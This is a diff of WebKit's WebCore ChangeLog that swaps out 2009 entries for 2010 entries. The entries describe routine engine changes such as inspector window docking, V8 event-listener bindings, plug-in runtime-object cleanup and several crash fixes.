-        https://bugs.webkit.org/show_bug.cgi?id=28852
-        Rename KURL single argument constructor to avoid confusion
+        Reviewed by Tim Hatcher.
 
-        * platform/KURL.h: The constructor that used to be single argument should now be invoked
-        as KURL(ParsedURLString, myString).
+        Disable WebView docking to views that are too small.
+        <rdar://problem/7248409> and https://bugs.webkit.org/show_bug.cgi?id=35254
 
         * WebCore.base.exp:
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::createWindow):
-        * bindings/js/ScriptCallFrame.cpp:
-        (WebCore::ScriptCallFrame::ScriptCallFrame):
-        * bindings/v8/NPV8Object.cpp:
-        (_NPN_EvaluateHelper):
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::createWindow):
-        * css/CSSCursorImageValue.cpp:
-        (WebCore::isSVGCursorIdentifier):
-        * css/CSSImageValue.cpp:
-        (WebCore::CSSImageValue::cachedImage):
-        * css/CSSImportRule.cpp:
-        (WebCore::CSSImportRule::insertedIntoParent):
-        * css/StyleBase.cpp:
-        (WebCore::StyleBase::baseURL):
-        * dom/Document.cpp:
-        (WebCore::Document::initSecurityContext):
-        * dom/Element.cpp:
-        (WebCore::Element::baseURI):
-        * editing/markup.cpp:
-        (WebCore::completeURLs):
-        * history/HistoryItem.cpp:
-        (WebCore::HistoryItem::url):
-        (WebCore::HistoryItem::originalURL):
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::didLoadResourceFromMemoryCache):
-        * inspector/InspectorResource.cpp:
-        (WebCore::InspectorResource::createCached):
-        * loader/Cache.cpp:
-        (WebCore::Cache::revalidateResource):
-        * loader/DocLoader.cpp:
-        (WebCore::DocLoader::requestResource):
-        * loader/DocumentLoader.cpp:
-        (WebCore::DocumentLoader::getSubresources):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::init):
-        (WebCore::FrameLoader::iconURL):
-        (WebCore::FrameLoader::scheduleLocationChange):
-        (WebCore::FrameLoader::redirectionTimerFired):
-        (WebCore::FrameLoader::loadURLIntoChildFrame):
-        (WebCore::FrameLoader::startRedirectionTimer):
-        * loader/appcache/ApplicationCache.cpp:
-        (WebCore::ApplicationCache::resourceForURL):
-        * loader/appcache/ApplicationCacheGroup.cpp:
-        (WebCore::ApplicationCacheGroup::startLoadingEntry):
-        (WebCore::ApplicationCacheGroup::addEntry):
-        * loader/appcache/ApplicationCacheStorage.cpp:
-        (WebCore::ApplicationCacheStorage::cacheGroupForURL):
-        (WebCore::ApplicationCacheStorage::fallbackCacheGroupForURL):
-        (WebCore::ApplicationCacheStorage::loadCache):
-        (WebCore::ApplicationCacheStorage::manifestURLs):
-        * loader/archive/cf/LegacyWebArchive.cpp:
-        (WebCore::LegacyWebArchive::createResource):
-        (WebCore::LegacyWebArchive::create):
-        * loader/loader.cpp:
-        (WebCore::Loader::load):
-        * notifications/NotificationCenter.h:
-        (WebCore::NotificationCenter::createHTMLNotification):
-        * platform/KURL.cpp:
-        (WebCore::KURL::KURL):
-        (WebCore::blankURL):
-        * platform/KURLHash.h:
-        * platform/chromium/ClipboardChromium.cpp:
-        (WebCore::ClipboardChromium::setData):
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::createQTMovie):
-        * platform/network/cf/ResourceErrorCF.cpp:
-        (WebCore::ResourceError::operator CFErrorRef):
-        * platform/network/cf/ResourceRequest.h:
-        (WebCore::ResourceRequest::ResourceRequest):
-        * platform/network/chromium/ResourceRequest.h:
-        (WebCore::ResourceRequest::ResourceRequest):
-        * platform/network/curl/ResourceHandleManager.cpp:
-        (WebCore::handleLocalReceiveResponse):
-        (WebCore::headerCallback):
-        * platform/network/curl/ResourceRequest.h:
-        (WebCore::ResourceRequest::ResourceRequest):
-        * platform/network/mac/ResourceErrorMac.mm:
-        (WebCore::ResourceError::operator NSError*):
-        * platform/network/mac/ResourceRequest.h:
-        (WebCore::ResourceRequest::ResourceRequest):
-        * platform/network/qt/ResourceRequest.h:
-        (WebCore::ResourceRequest::ResourceRequest):
-        * platform/network/soup/ResourceRequest.h:
-        (WebCore::ResourceRequest::ResourceRequest):
-        * platform/win/ClipboardWin.cpp:
-        (WebCore::filesystemPathFromUrlOrTitle):
-        (WebCore::ClipboardWin::setData):
-        * svg/graphics/SVGImage.cpp:
-        (WebCore::SVGImage::dataChanged):
-        * xml/XSLImportRule.cpp:
-        (WebCore::XSLImportRule::loadSheet):
-        * xml/XSLTProcessor.cpp:
-        (WebCore::docLoaderFunc):
-        Adapt to the change everywhere the single argument constructor was used. I did a very
-        cursory check of whether these locations were using this constructor properly, and didn't
-        notice any obvious mistakes. The new explicit name will hopefully suggest checking this
-        better when refactoring any such code.
-
-2009-08-31  Beth Dakin  <bdakin@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=28635 [CSS3 
-        Backgrounds and Borders] Add support for 2-keyword values for 
-        background-repeat
-
-        This patch allows background-repeat to take two values by making 
-        background-repeat just like background-position internally. There 
-        is a little extra legwork for background-repeat because the spec 
-        indicates that its computed value should be equivalent to how it 
-        was specified. I keep track of the specified thing by setting the 
-        implicit flag whenever background-repeat is defined with only one 
-        value (since internally, we now store this as 2 values.)
-        
-        Here we can't access the implicit flag, so for backwards-
-        compatibility's sake, we always return one value when that makes 
-        sense.
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::fillRepeatToCSSValue):
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
-
-        Here we check for the implicit flag and return one value when it is 
-        set.
-        * css/CSSMutableStyleDeclaration.cpp:
-        (WebCore::CSSMutableStyleDeclaration::getPropertyValue):
-        (WebCore::CSSMutableStyleDeclaration::getLayeredShorthandValue):
-        (WebCore::CSSMutableStyleDeclaration::cssText):
-
-        Add support for CSSPropertyBackgroundRepeatX and 
-        CSSPropertyBackgroundRepeatY
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue):
-        (WebCore::CSSParser::parseFillShorthand):
-        (WebCore::CSSParser::parseFillRepeat):
-        (WebCore::CSSParser::parseFillProperty):
-        * css/CSSParser.h:
-
-        Get rid of mappings to RepeatXFill and RepeatYFill since we don't 
-        need those parts of the EFillRepeat enum anymore.
-        * css/CSSPrimitiveValueMappings.h:
-        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
-        (WebCore::CSSPrimitiveValue::operator EFillRepeat):
-
-        Add CSSPropertyBackgroundRepeatX and CSSPropertyBackgroundRepeatY
-        * css/CSSPropertyLonghand.cpp:
-        (WebCore::initShorthandMap):
-
-        Add background-repeat-x and -y.
-        * css/CSSPropertyNames.in:
-
-        Break repeat into x and y.
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty):
-        (WebCore::CSSStyleSelector::mapFillRepeatX):
-        (WebCore::CSSStyleSelector::mapFillRepeatY):
-        * css/CSSStyleSelector.h:
-
-        There is no more RepeatXFill. Instead, look for 
-        fillLayer->repeatX() == RepeatFill
-        * rendering/RenderBoxModelObject.cpp:
-        (WebCore::RenderBoxModelObject::calculateBackgroundImageGeometry):
-
-        Break m_repeat into m_repeatX and m_repeatY
-        * rendering/style/FillLayer.cpp:
-        (WebCore::FillLayer::FillLayer):
-        (WebCore::FillLayer::operator=):
-        (WebCore::FillLayer::operator==):
-        (WebCore::FillLayer::fillUnsetProperties):
-        (WebCore::FillLayer::cullEmptyLayers):
-        * rendering/style/FillLayer.h:
-        (WebCore::FillLayer::repeatX):
-        (WebCore::FillLayer::repeatY):
-        (WebCore::FillLayer::isRepeatXSet):
-        (WebCore::FillLayer::isRepeatYSet):
-        (WebCore::FillLayer::setRepeatX):
-        (WebCore::FillLayer::setRepeatY):
-        (WebCore::FillLayer::clearRepeatX):
-        (WebCore::FillLayer::clearRepeatY):
-        (WebCore::FillLayer::initialFillRepeatX):
-        (WebCore::FillLayer::initialFillRepeatY):
-
-        Again, break backgroundRepeat into backgroundRepeatX and 
-        backgroundRepeatY
-        * rendering/style/RenderStyle.h:
-        (WebCore::InheritedFlags::backgroundRepeatX):
-        (WebCore::InheritedFlags::backgroundRepeatY):
-        (WebCore::InheritedFlags::maskRepeatX):
-        (WebCore::InheritedFlags::maskRepeatY):
-
-        We don't need RepeatXFill or RepeatYFill. Now that we store two 
-        values, they are represented by Repeat-NoRepeat and NoRepeat-
-        Repeat, respectively.
-        * rendering/style/RenderStyleConstants.h:
-        (WebCore::):
-
-2009-08-31  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Compositing layer size needs to take into account software reflections on children.
-        https://bugs.webkit.org/show_bug.cgi?id=28837
-        
-        When computing the bounds of a composited layer, take software-rendered
-        reflections into account.
-
-        Test: compositing/reflections/reflection-in-composited.html
-
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::calculateCompositedBounds):
-
-2009-08-31  Mark Mentovai  <mark@chromium.org>
-
-        Reviewed by Dave Hyatt.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28614
-
-        Perform a layout prior to checking whether the scrollbar modes are
-        off, on, or automatic.  The modes may change during layout.
-
-        * platform/ScrollView.cpp:
-        (WebCore::ScrollView::updateScrollbars):
-
-2009-08-31  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Inspector Request Headers Should Show Data Sent With Request
-        https://bugs.webkit.org/show_bug.cgi?id=22920
-
-        Manual test added - see below.
-
-        * English.lproj/localizedStrings.js:
-        * inspector/InspectorResource.cpp:
-        (WebCore::InspectorResource::updateRequest):
-        (WebCore::InspectorResource::createScriptObject):
-        (WebCore::InspectorResource::updateScriptObject):
-        * inspector/InspectorResource.h:
-        * inspector/front-end/Resource.js:
-        (WebInspector.Resource):
-        * inspector/front-end/ResourceView.js:
-        (WebInspector.ResourceView):
-        (WebInspector.ResourceView.prototype._refreshURL):
-        (WebInspector.ResourceView.prototype._refreshQueryString):
-        (WebInspector.ResourceView.prototype._refreshFormData):
-        (WebInspector.ResourceView.prototype._refreshRequestPayload):
-        (WebInspector.ResourceView.prototype._refreshParms):
-        (WebInspector.ResourceView.prototype._toggleURLdecoding):
-        (WebInspector.ResourceView.prototype._getHeaderValue):
-        (WebInspector.ResourceView.prototype._refreshRequestHeaders):
-        * inspector/front-end/inspector.css:
-        * inspector/front-end/inspector.js:
-        (WebInspector.addResource):
-        (WebInspector.updateResource):
-        * manual-tests/inspector/display-form-data.html: Added.
-
-2009-08-31  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: pass call frames into the frontend as a part of
-        pausedScript event.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28847
-
         * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::didPause):
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::pausedScript):
-        * inspector/InspectorFrontend.h:
-        * inspector/front-end/ScriptsPanel.js:
-        (WebInspector.ScriptsPanel.prototype.debuggerPaused):
-        * inspector/front-end/inspector.js:
-        (WebInspector.pausedScript):
-
-2009-08-31  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by Ariya Hidayat.
-
-        [Qt] Un-blacklist Silverlight on Mac
-
-        Does not seem to crash anymore, probably due to how we now handle
-        drawing and event model handshake better.
-
-        * plugins/mac/PluginPackageMac.cpp:
-        (WebCore::PluginPackage::isPluginBlacklisted):
-
-2009-08-31  Cameron McCormack  <cam@mcc.id.au>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28827
-        SVGSVGElement.unsuspendRedraw() shouldn't throw
-
-        * svg/SVGSVGElement.cpp:
-        (WebCore::SVGSVGElement::unsuspendRedraw):
-        * svg/SVGSVGElement.h:
-        * svg/SVGSVGElement.idl:
-
-2009-08-31  Kent Tamura  <tkent@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        - Change the reutrn type of HTMLInputElement::list so that it
-          conforms to the standard.
-        - Add HTMLInputElement::dataList()
-        https://bugs.webkit.org/show_bug.cgi?id=28769
-
-
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::list):
-        (WebCore::HTMLInputElement::dataList):
-        (WebCore::HTMLInputElement::selectedOption):
-        * html/HTMLInputElement.h:
-        * html/HTMLInputElement.idl:
-
-2009-08-31  Kwang Yul Seo  <skyul@company100.net>
-
-        Reviewed by Eric Seidel.
-
-        Remove ASSERT(frame) in ResourceHandle::start (ResourceHandleCurl.cpp)
-        https://bugs.webkit.org/show_bug.cgi?id=28802
-
-        Remove ASSERT because the frame could be null if the
-        ResourceHandle is not associated with any frame, e.g. if we are
-        downloading a file.
-        If the frame is not null but the page is null this must be an
-        attempted load from an onUnload handler, so let's just block it.
-
-        * platform/network/curl/ResourceHandleCurl.cpp:
-        (WebCore::ResourceHandle::start):
-
-2009-08-31  Maxime Simon  <simon.maxime@gmail.com>
+        (WebCore::InspectorController::canAttachWindow): Provide a utility for WebKits to make a showWindow()
+          decision based on if attachment would be allowed or not.
+        (WebCore::InspectorController::attachWindow): Don't attach if the view is too small to attach to.
+        * inspector/InspectorController.h:
 
-        Reviewed by Eric Seidel.
+2010-02-22  Alexey Proskuryakov  <ap@apple.com>
 
-        Build fix for platforms which don't enable DOM_STORAGE.
-        https://bugs.webkit.org/show_bug.cgi?id=28834
+        Build fix.
 
-        * bindings/js/ScriptController.cpp:
-        (WebCore::ScriptController::evaluate):
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::evaluate):
+        * WebCore.base.exp: Export Instance::newRuntimeObject, it's virtual!
 
-2009-08-29  Adele Peterson  <adele@apple.com>
+2010-02-22  Alexey Proskuryakov  <ap@apple.com>
 
-        Reviewed by Dan Bernstein.
+        Undo a small part of the previous commit.
 
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=28829
-        Crash in AccessibilityRenderObject::activeDescendant when trying to set aria-activedescendant to something without a renderer
+        * bridge/runtime_method.cpp: (JSC::callRuntimeMethod): Let's keep the instance local
+        variable as RefPtr for safety.
 
-        Test: accessibility/aria-activedescendant-crash.html
+2010-02-22  Alexey Proskuryakov  <ap@apple.com>
 
-        * accessibility/AccessibilityRenderObject.cpp: (WebCore::AccessibilityRenderObject::activeDescendant): Nil check.
+        Reviewed by Darin Adler.
 
-2009-08-28  Jan Michael Alonzo  <jmalonzo@webkit.org>
+        https://bugs.webkit.org/show_bug.cgi?id=35260
+        Eliminate __apple_runtime_object
 
-        Reviewed by Oliver Hunt.
+        No change in functionality, so no tests.
 
-        Gtk Build broken for OSX Quartz
-        https://bugs.webkit.org/show_bug.cgi?id=28727
+        * WebCore.base.exp: Don't export Instance::newRuntimeObject, WebKit doesn't need it.
 
-        Check for XP_UNIX instead of GTK or X11 to ease building of the Gtk
-        port in Mac and Unix/Linux.
+        * bindings/js/JSHTMLAppletElementCustom.cpp:
+        * bindings/js/JSHTMLEmbedElementCustom.cpp:
+        * bindings/js/JSHTMLObjectElementCustom.cpp:
+        * html/HTMLAppletElement.idl:
+        * html/HTMLEmbedElement.idl:
+        * html/HTMLObjectElement.idl:
+        These objects no longer need overriding name getters, as they no longer intercept the
+        __apple_runtime_object property.
 
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::PluginView):
-        * plugins/PluginView.h:
-        * plugins/gtk/PluginViewGtk.cpp:
-        (WebCore::PluginView::setNPWindowIfNeeded):
-        (WebCore::PluginView::getValueStatic):
-        (WebCore::PluginView::getValue):
-        (WebCore::PluginView::init):
+        * bindings/js/JSPluginElementFunctions.cpp:
+        (WebCore::pluginInstance): This is no longer static. It was used for callPlugin() in
+        this file, and now it's also used elsewhere when calling plug-in methods.
+        (WebCore::runtimeObjectGetter): Removed. This function was only used by the intercepting
+        name getters.
 
-2009-08-28  Simon Fraser  <simon.fraser@apple.com>
+        * bindings/js/JSPluginElementFunctions.h: Export pluginInstance().
 
-        Reviewed by Dan Bernstein.
+        * bindings/objc/WebScriptObject.mm:
+        (+[WebScriptObject _convertValueToObjcValue:originRootObject:rootObject:]):
+        * bridge/runtime_method.cpp:
+        (JSC::callRuntimeMethod):
+        Take plug-in element's instance directly, without relying on fake attribute lookup.
+        One change resulting from this is that RuntimeObjectImp may not be created in some cases -
+        this code only needs an instance, but the old code had to pass the instance wrapped into
+        RuntimeObjectImp.
 
-        Fix positioning error when a compositing, absolutely-positioned element has an ancestor with opacity.
-        https://bugs.webkit.org/show_bug.cgi?id=28754
-        
-        For absolutely-positioned layers, convertToLayerCoords() jumps to the positioned
-        ancestor, since the layer x and y are relative to that ancestor. However, this could
-        skip over the ancestorLayer, thus giving the wrong result.
+2010-02-22  John Sullivan  <sullivan@apple.com>
         
-        Fix by duplicating the enclosingPositionedAncestor() logic in convertToLayerCoords(),
-        and checking for ancestorLayer along the way. If found, compute offset of both to
-        the enclosingPositionedAncestor() and subtract.
-        
-        This also fixes a positioning bug with abs. positioned elements in reflections,
-        so there is a new reflection test with a pixel result.
-
-        Tests: compositing/geometry/abs-position-inside-opacity.html
-               fast/reflections/abs-position-in-reflection.html
-
-        * rendering/RenderLayer.cpp:
-        (WebCore::isPositionedContainer):
-        (WebCore::RenderLayer::enclosingPositionedAncestor):
-        (WebCore::RenderLayer::enclosingTransformedAncestor):
-        (WebCore::RenderLayer::convertToLayerCoords):
-
-2009-08-28  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Mark Rowe
+        Reviewed by Tim Hatcher.
 
-        Wrap WebkitCSSTransformValues in the correct class of DOM wrapper.
-        https://bugs.webkit.org/show_bug.cgi?id=27727
+        https://bugs.webkit.org/show_bug.cgi?id=35256
+        HTMLSelectElement::setSelectedIndexByUser() can trigger unnecessary JS when there is no change to the selected index
 
-        When fetching the DOM wrapper for a WebkitCSSTransformValue (which is a kind of 
-        CSSValueList), we need to ask the value list whether it's a WebkitCSSTransformValue,
-        because there is not a unique enum value for WebkitCSSTransformValue.
+        No new tests because this code path is not used for JS-initiated changes.
 
-        * bindings/objc/DOMCSS.mm:
-        (kitClass):
+        * html/HTMLSelectElement.cpp:
+        (WebCore::HTMLSelectElement::setSelectedIndexByUser):
+        Bail out if the to-be-selected index matches the already-selected index.
 
-2009-08-28  Peter Kasting  <pkasting@google.com>
+2010-02-22  Enrica Casucci  <enrica@apple.com>
 
-        Reviewed by Jan Michael Alonzo.
+        Reviewed by Dan Bernstein.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28308
-        Fix some warnings introduced by r47381.
+        Reproducible crash in WebCore::nextLinePosition on Tweeteorites.com
+        <rdar://problem/7615758>
+        https://bugs.webkit.org/show_bug.cgi?id=35060
 
-        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
-        (WebCore::convertCMYKToRGBA):
-        (WebCore::convertRGBToRGBA):
+        Test: editing/selection/extend-byline-withfloat.html
 
-2009-08-28  Ada Chan  <adachan@apple.com>
+        * editing/visible_units.cpp:
+        (WebCore::previousLinePosition): Skip elements with zero height.
+        (WebCore::nextLinePosition): Skip elements with zero height.
 
-        Reviewed by Adam Roben.
+2010-02-22  Nate Chapin  <japhet@chromium.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=21442
-        Make sure filesystemPathFromUrlOrTitle() returns a string with length
-        <= MAX_PATH - 1.
+        Unreviewed, Chromium build fix.
 
-        * platform/win/ClipboardWin.cpp:
-        (WebCore::filesystemPathFromUrlOrTitle):
+        * bindings/scripts/CodeGeneratorV8.pm: Compile break due to bad patch merge.
 
-2009-08-28  Dumitru Daniliuc  <dumi@chromium.org>
+2010-02-22  Nate Chapin  <japhet@chromium.org>
 
         Reviewed by Dimitri Glazkov.
 
-        Adding Chromium's VFS for Linux and Mac.
+        [V8] Streamline V8 event listener code. Merge all the variants of
+        V8DOMWrapper::getEventListner() into a single version and generate
+        addEventListener() and removeEventListener() bindings for all objects 
+        except DOMWindow.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28750
+        https://bugs.webkit.org/show_bug.cgi?id=35245
 
+        * Android.v8bindings.mk:
         * WebCore.gypi:
-        * platform/chromium/ChromiumBridge.h:
-        * platform/sql/chromium/SQLiteFileSystemChromium.cpp:
-        (WebCore::SQLiteFileSystem::openDatabase):
-        (WebCore::SQLiteFileSystem::deleteDatabaseFile):
-        * platform/sql/chromium/SQLiteFileSystemChromiumLinux.cpp: Removed.
-        * platform/sql/chromium/SQLiteFileSystemChromiumMac.cpp: Removed.
-        * platform/sql/chromium/SQLiteFileSystemChromiumPosix.cpp: Added.
-        * platform/sql/chromium/SQLiteFileSystemChromiumWin.cpp:
-
-2009-08-28  Vitaly Repeshko  <vitalyr@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] Made bindings use Node::setOnEvent functions for Node descendants
-        instead of Node::setAttributeEventListener.
-
-        Node::setAttributeEventListener is an internal function and
-        doesn't do the forwarding to DOM window that is required for some
-        HTML elements.
-        https://bugs.webkit.org/show_bug.cgi?id=28709
-
-        Tests added in http://trac.webkit.org/changeset/47326 now pass with V8.
-
         * bindings/scripts/CodeGeneratorV8.pm:
-        Now generates EventListener accessors for Node descendants instead
-        of using custom callbacks.
         * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getEventListener): Moved from V8NodeCustom.cpp.
+        (WebCore::V8DOMWrapper::getEventListener):
         * bindings/v8/V8DOMWrapper.h:
-        (WebCore::V8DOMWrapper::convertEventListenerToV8Object): Fixed a bug in
-        signature.
-        * bindings/v8/V8Utilities.cpp:
-        (WebCore::createHiddenDependency):
-        (WebCore::removeHiddenDependency):
-        Changed signature to accept Handle instead of Local.
-        * bindings/v8/V8Utilities.h:
-        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        * bindings/v8/WorkerContextExecutionProxy.h:
+        * bindings/v8/custom/V8AbstractWorkerCustom.cpp: Removed.
+        * bindings/v8/custom/V8DOMApplicationCacheCustom.cpp: Removed.
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8DOMWindow::addEventListenerCallback):
+        (WebCore::V8DOMWindow::removeEventListenerCallback):
+        * bindings/v8/custom/V8EventSourceCustom.cpp: Removed.
+        * bindings/v8/custom/V8MessagePortCustom.cpp:
         * bindings/v8/custom/V8NodeCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        Removed custom callbacks for EventListener accessors.
-
-2009-08-28  Ben Murdoch  <benm@google.com>
-
-        https://bugs.webkit.org/show_bug.cgi?id=28803
-        
-        Implements V8CustomVoidCallback reporting any exceptions that were thrown from the callback function.
-
-        * bindings/v8/custom/V8CustomVoidCallback.cpp:
-        (WebCore::invokeCallback): Checks if the callback raised an exception and reports it to WebCore if so.
-
-2009-08-28  Peter Kasting  <pkasting@google.com>
-
-        Not reviewed (build fix).
-
-        * platform/graphics/qt/ImageDecoderQt.cpp: Accidentally added some spaces.
-        (WebCore::ImageDecoder::create):
-        (WebCore::ImageDecoderQt::ImageDecoderQt):
-        * platform/graphics/qt/ImageDecoderQt.h: Make constructor public so factory function can access it (this seemed better than making ImageDecoder a friend).
-
-2009-08-28  Peter Kasting  <pkasting@google.com>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27965
-        Move ImageDecoder creation function to a factory function on
-        ImageDecoder.  This is arguably where it makes the most sense anyway,
-        and it will (soon) allow ImageSourceQt.cpp to have one less dedicated
-        function.
-
-        * platform/graphics/ImageSource.cpp:
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoder::create):
-        * platform/graphics/qt/ImageDecoderQt.h:
-        * platform/graphics/qt/ImageSourceQt.cpp:
-        (WebCore::ImageSource::setData):
-        * platform/image-decoders/ImageDecoder.cpp:
-        * platform/image-decoders/ImageDecoder.h:
-
-2009-08-28  Peter Kasting  <pkasting@google.com>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28785
-        Combine duplicated code from ImageDecoder*.cpp into the main
-        ImageDecoder.cpp.
-
-        * platform/image-decoders/ImageDecoder.cpp:
-        (WebCore::RGBA32Buffer::RGBA32Buffer):
-        (WebCore::RGBA32Buffer::clear):
-        (WebCore::RGBA32Buffer::zeroFill):
-        (WebCore::RGBA32Buffer::copyBitmapData):
-        (WebCore::RGBA32Buffer::setSize):
-        (WebCore::RGBA32Buffer::hasAlpha):
-        (WebCore::RGBA32Buffer::setHasAlpha):
-        (WebCore::RGBA32Buffer::setStatus):
-        (WebCore::RGBA32Buffer::operator=):
-        (WebCore::RGBA32Buffer::width):
-        (WebCore::RGBA32Buffer::height):
-        * platform/image-decoders/cairo/ImageDecoderCairo.cpp:
-        * platform/image-decoders/haiku/ImageDecoderHaiku.cpp:
-        * platform/image-decoders/wx/ImageDecoderWx.cpp:
-
-2009-08-28  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
-
-        Reviewed by Holger Freyther.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25889
-        [GTK] scrollbar policy for main frame is not implementable
-
-        Override setScrollbarModes to correctly forward scrollbar modes
-        policy changes to client code, via a new platform-specific method,
-        scrollbarsPolicyDidChange.
-
-        * page/ChromeClient.h:
-        (WebCore::ChromeClient::scrollbarsPolicyDidChange):
-        * platform/ScrollView.cpp:
-        (WebCore::ScrollView::createScrollbar):
-        * platform/ScrollView.h:
-        * platform/gtk/ScrollViewGtk.cpp:
-        (WebCore::ScrollView::setScrollbarModes):
-
-2009-08-28  Cédric Luthi <cedric.luthi@gmail.com>
-
-        Reviewed by Tor Arne Vestbø
-
-        [Qt/Mac] Un-blacklist the QuickTime plugin
-
-        https://bugs.webkit.org/show_bug.cgi?id=28768
-
-        Now that the drawing model is properly negotiated, there is no need the
-        blacklist the QuickTime plugin anymore.
-
-        This revealed a bug in PluginView::performRequest: it should not initiate a
-        request if the plugin has been stopped, which is what happens when a plugin
-        only supports the QuickDraw drawing model.
-
-        * plugins/PluginView.cpp:
-        * plugins/mac/PluginPackageMac.cpp:
-
-2009-08-28  Yury Semikhatsky  <yurys@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Set DOM agent document to 0 in InspectorController::close to
-        make DOM agent remove DOM listeners from the inspected document.
+        * bindings/v8/custom/V8NotificationCenterCustom.cpp:
+        * bindings/v8/custom/V8SVGElementInstanceCustom.cpp: Removed.
+        * bindings/v8/custom/V8WebSocketCustom.cpp:
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        * bindings/v8/custom/V8XMLHttpRequestUploadCustom.cpp:
+        * dom/MessagePort.idl:
+        * dom/Node.idl:
+        * loader/appcache/DOMApplicationCache.idl:
+        * notifications/Notification.idl:
+        * page/EventSource.idl:
+        * svg/SVGElementInstance.idl:
+        * websockets/WebSocket.idl:
+        * workers/AbstractWorker.idl:
+        * workers/WorkerContext.idl:
+        * xml/XMLHttpRequest.idl:
+        * xml/XMLHttpRequestUpload.idl:
 
-        Replace windowVisible checks with m_frontend checks to as inspector
-        window lives in a different process in Chromium while frontend proxy
-        is in the inspected page process.
+2010-02-22  Chris Fleizach  <cfleizach@apple.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=28800
+        Reviewed by Beth Dakin.
 
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::inspect):
-        (WebCore::InspectorController::addConsoleMessage):
-        (WebCore::InspectorController::close):
-        (WebCore::InspectorController::pruneResources):
-        (WebCore::InspectorController::didCommitLoad):
-        (WebCore::InspectorController::didLoadResourceFromMemoryCache):
-        (WebCore::InspectorController::identifierForInitialRequest):
-        (WebCore::InspectorController::willSendRequest):
-        (WebCore::InspectorController::didReceiveResponse):
-        (WebCore::InspectorController::didReceiveContentLength):
-        (WebCore::InspectorController::didFinishLoading):
-        (WebCore::InspectorController::didFailLoading):
-        (WebCore::InspectorController::resourceRetrievedByXMLHttpRequest):
-        (WebCore::InspectorController::scriptImported):
-        (WebCore::InspectorController::didOpenDatabase):
-        (WebCore::InspectorController::didUseDOMStorage):
-        (WebCore::InspectorController::addProfile):
-        * inspector/InspectorController.h:
+        AX: AXFocused is not writable like it should be on nodes
+        https://bugs.webkit.org/show_bug.cgi?id=35186
 
-2009-08-28  Mikhail Naganov  <mnaganov@chromium.org>
+        Test: platform/mac/accessibility/element-focus.html
 
-        Reviewed by Timothy Hatcher.
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::canSetFocusAttribute):
 
-        Remove dependency of SummaryBar on WebInspector.resourceCategories.
+2010-02-22  Simon Fraser  <simon.fraser@apple.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=28801
+        Reviewed by Dan Bernstein, Darin Adler.
 
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel):
-        (WebInspector.ResourcesPanel.prototype.toolbarItemClass.get categories):
-        * inspector/front-end/SummaryBar.js:
-        (WebInspector.SummaryBar):
-        (WebInspector.SummaryBar.prototype.update):
+        Remove addScrolledContentOffset/subtractScrolledContentOffset
+        https://bugs.webkit.org/show_bug.cgi?id=35225
 
-2009-08-28  Pavel Feldman  <pfeldman@chromium.org>
+        Remove RenderLayer's addScrolledContentOffset() and subtractScrolledContentOffset()
+        methods, and instead use the existing scrolledContentOffset(), and use
+        IntSize and IntPoint instead of lots of x, y variables.
+        
+        Added new IntPoint toPoint(const IntSize&) method as a convenience to convert a size to a point,
+        which is needed in a few places.
+        
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleDrag): Use the new toPoint() convenience.
+        * platform/graphics/IntPoint.h:
